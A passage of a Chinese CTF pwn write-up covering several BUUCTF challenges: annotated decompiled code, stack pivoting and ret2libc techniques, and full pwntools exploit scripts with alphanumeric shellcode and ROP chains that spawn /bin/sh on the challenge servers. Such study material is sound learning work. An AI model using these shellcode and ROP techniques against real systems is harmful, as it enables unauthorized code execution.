*sc = 0;

if (!*sc)
{
// 如果':'后没有有效字符,输出错误信息并退出程序
puts("abort.");
exit(2);
}

if (v8 <= 5)
qword_202040[2 * v8 + 1] = sc;

// 在字符串sc中查找换行符('\n')
sd = strchr(sc, 10);

if (!sd)
{
// 如果没有找到换行符,输出错误信息并退出程序
puts("error.");
exit(3);
}
*sd = 0;

a1 = sd + 1;

if (*a1 == 13)
*a1++ = 0;

s1 = (char *)qword_202040[2 * v8];
nptr = (char *)qword_202040[2 * v8 + 1];

if (!strcasecmp(s1, "opt"))
{
if (v7)
{
// 如果v7已经被设置,输出错误信息并退出程序
puts("error.");
exit(5);
}
v7 = atoi(nptr); // 将字符串转换为整数
}
else
{
if (strcasecmp(s1, "msg"))
{
// 如果s1既不是"opt"也不是"msg",输出错误信息并退出程序
puts("error.");
exit(4);
}
if (strlen(nptr) <= 1)
{
// 如果nptr长度小于等于1,输出错误信息并退出程序
puts("error.");
exit(5);
}
v9 = strlen(nptr) - 1;

if (dest)
{
// 如果dest已经被分配了内存,输出错误信息并退出程序
puts("error.");
exit(5);
}
// 分配内存块,大小为v9 + 8字节
dest = calloc(v9 + 8, 1uLL);

if (v9 <= 0)
{
// 如果v9小于等于0,输出错误信息并退出程序
puts("error.");
exit(5);
}
// 复制nptr的内容到dest
memcpy(dest, nptr, v9);
}
++v8;
}

*a1 = 0;
sa = (char *)(a1 + 1);

if (*sa == 10)
*sa = 0;

// 根据v7的值调用不同的子函数
switch (v7)
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE(dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
// 如果v7的值不在预期范围内,输出错误信息并退出程序
puts("error.");
exit(6);
}

// 返回函数结束前的堆栈基址与v13的异或结果
return __readfsqword(0x28u) ^ v13;
}

v7=2时,sub_DA8函数:验证两个变量,将dest内容执行(先映射到内存再执行)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned __int64 __fastcall sub_DA8(const char *a1)
{
unsigned int v1; // 无符号整数
size_t v2; // 用于保存数据大小的类型
int i; // 整数,用于循环计数
void *dest; // 指向内存块的指针
unsigned __int64 v6; // 无符号64位整数

// 保存当前线程的堆栈基址
v6 = __readfsqword(0x28u);

// 循环检查字符串a1中的每个字符是否可打印(isprint)或是换行符('\n')
for (i = 0; i < strlen(a1); ++i)
{
if (!isprint(a1[i]) && a1[i] != 10)
{
// 如果字符不可打印且不是换行符,输出错误信息并退出程序
puts("oh!");
exit(-1);
}
}

// 检查全局变量unk_202028是否等于1,如果不等于1,输出错误信息并退出程序
if (unk_202028 != 1)
{
puts("oh!");
exit(-1);
}

if (unk_202024)
{
// 获取系统页面大小
v1 = getpagesize();

// 使用mmap分配一块内存,并将其设置为可执行、可读、可写,然后将a1的内容复制到该内存块
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);

// 将该内存块当作函数调用
((void (*)(void))dest)();
}
else
{
// 如果unk_202024为0,直接输出a1的内容
puts(a1);
}

// 返回函数结束前的堆栈基址与v6的异或结果
return __readfsqword(0x28u) ^ v6;
}

因此要将两个变量修改到符合条件,当v7=1时的函数sub_CBD可以将两个变量都改成1,使其符合条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 __fastcall sub_CBD(const char *a1)
{
int i; // 整数,用于循环计数
unsigned __int64 v3; // 无符号64位整数

// 保存当前线程的堆栈基址
v3 = __readfsqword(0x28u);

// 循环检查字符串a1中的每个字符是否可打印(isprint)或是换行符('\n')
for (i = 0; i < strlen(a1); ++i)
{
if (!isprint(a1[i]) && a1[i] != 10)
{
// 如果字符不可打印且不是换行符,输出错误信息并退出程序
puts("oh!");
exit(-1);
}
}

// 检查字符串a1是否等于 "ro0t",如果是,将全局变量unk_202028和unk_202024都设置为1
if (!strcmp(a1, "ro0t"))
{
unk_202028 = 1;
unk_202024 = 1;
}
else
{
// 如果不等于 "ro0t",将全局变量unk_202028设置为1
unk_202028 = 1;
}

// 返回函数结束前的堆栈基址与v3的异或结果
return __readfsqword(0x28u) ^ v3;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('182.92.176.248',1111)
#io=process('./login')
shellcode=b'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload1=b'opt:1\n'+b'msg:ro0ta\n'
payload2=b'opt:2\n'+b'msg:'+shellcode+b'a\n'
io.recvuntil('>>> ')
io.sendline(payload1)
io.recvuntil('>>> ')
io.sendline(payload2)
io.interactive()

buuctf_ciscn_2019_es_2

查看保护和反汇编

checksec

32位堆栈不可执行
ida
main函数

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

vul函数

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

两次read可以输入
虽然有溢出但是余出的长度只有八字节。
在hack中有system函数,但是只是简单的输出flag字符串

1
2
3
4
int hack()
{
return system("echo flag");
}

如果能将/bin/sh作为参数调用system函数就能getshell了
这道题用栈迁移来解,栈迁移原理
寻找gadget(leave_ret)

leave_ret_addr=0x080484b8
第一次read(我的意思是输入)用来泄露ebp的地址
printf当遇到\x00时才会停止输出,将下一处的终止符覆盖就可以打印出ebp的地址,就像覆盖泄露canary一样来泄露ebp的地址
还要说的是,栈也是有地址的,后面用gdb的时候会说哪里是栈的地址

1
2
3
4
paylaod1=b'a'*0x27+b'b'
io.send(paylaod1)#不能用senldine,会多输入一个'\n'
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))

现在我们要确定s在栈上的位置,好在第二次read时对栈进行布局。
选择的是用ebp+偏移量的方法来表示s的地址
gdb调试
从其他师傅处得来的经验,选择在nop处下断点

上面的是ida的,当然也没有忘记gdb怎么用,也挺好用的

总之断点地址:0x080485fc
下断点后运行(r),第一次read时输入aaaa,终止(ctrl+c),查看栈(stack)

所说数据存储在栈上,栈也是有地址的,这个地址指向的才是数据,也有栈指向一个地址,这个地址指向数据的。
上图左侧黄颜色的就是栈的地址
计算s到ebp的偏移量

0x38字节,所以s地址:ebp-0x38
第二次paylaod的布局图(0x10=16)

payload2

1
2
3
4
5
leave_ret_addr=0x080484b8
system_addr=0x08048400
bin_sh_addr=ebp-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp-0x38)+p32(leave_ret_addr)
#对于上面system后的aaaa,注意32位程序调用函数的顺序(参数、返回地址、函数)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',29270)
#io=process('./ciscn_2019_es_2')
leave_ret_addr=0x080484b8
system_addr=0x08048400
payload1=b'a'*0x27+b'b'
io.recvuntil('name?\n')
io.send(payload1)
io.recvuntil(b'b')
ebp_addr=u32(io.recv(4))
print(hex(ebp_addr))
#s=ebp_addr-0x38
bin_sh_addr=ebp_addr-0x38+0x10
payload2=(b'aaaa'+p32(system_addr)+b'aaaa'+p32(bin_sh_addr)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38)+p32(leave_ret_addr)
io.sendline(payload2)
io.interactive()

第六周

buuctf_[HarekazeCTF2019]baby_rop2

查看保护和反汇编

checksec

64位,堆栈不可执行
ida
main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}

查看字符串窗口,没有有用的
通过printf打印read的地址,从而泄露libc版本
关于printf函数,要两个参数,一个是’%s‘,一个是read的got表地址
%s有必要说,我们没办法自己写入,只能用题目中给的

地址

所以这次的gadget要找俩

第一个参数用rdi传,第二个用rsi,没找到只有rsi的,所以第二个用带r15的,传参的时候多随意写一个就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',28669)
#io=process('./babyrop2')
elf=ELF('./babyrop2')
pop_rdi_addr=0x0400733
ret_addr=0x04004d1
pop_rsi_r15_addr=0x400731
main_addr=elf.sym['main']
read_got=elf.got['read']
printf_plt=elf.plt['printf']
s_addr=0x400770
payload1=b'a'*0x28+p64(pop_rdi_addr)+p64(s_addr)+p64(pop_rsi_r15_addr)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
io.recvuntil(b'name? ')
io.sendline(payload1)
#printf_addr=u64(io.recv(6).ljust(8,b'\x00'))
read_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) #
print(hex(read_addr))
libc=LibcSearcher('read',read_addr)
libcbase=read_addr-libc.dump('read')
system_addr=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*0x28+p64(pop_rdi_addr)+p64(str_bin_sh)+p64(system_addr)
io.recvuntil(b'name? ')
io.sendline(payload2)
io.interactive()

接收read地址那里,不是很明白,不明白在为什么是’\x7f’而不是换行符,
‘\x7f’是不可见字符,对应的ASCII是删除字符
后面的[:-6]是因为有效地址是6位(puts是这样的,所以认为read也是这样),在将其补全至8位解包

buuctf_jarvisoj_level3

保护+ida

checksec

32位,堆栈不可执行
ida
main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

vulnerable_function

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}

字符串窗口没有后门
ret2ibc,没有弯弯绕

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import*
from LibcSearcher import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',27993)
#io=process('./level3')
elf=ELF('./level3')
main_addr=elf.sym['main']
write_got=elf.got['write']
write_plt=elf.plt['write']
payload1=b'a'*0x8c+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil(b'Input:\n')
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
#libc=LibcSearcher('write',write_addr)
libc=ELF('./libc-2.23.so')
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
str_bin_sh=libcbase+next(libc.search(b"/bin/sh"))
payload2=b'a'*0x8c+p32(system_addr)+p32(0)+p32(str_bin_sh)
io.recvuntil(b'Input:\n')
io.sendline(payload2)
io.interactive()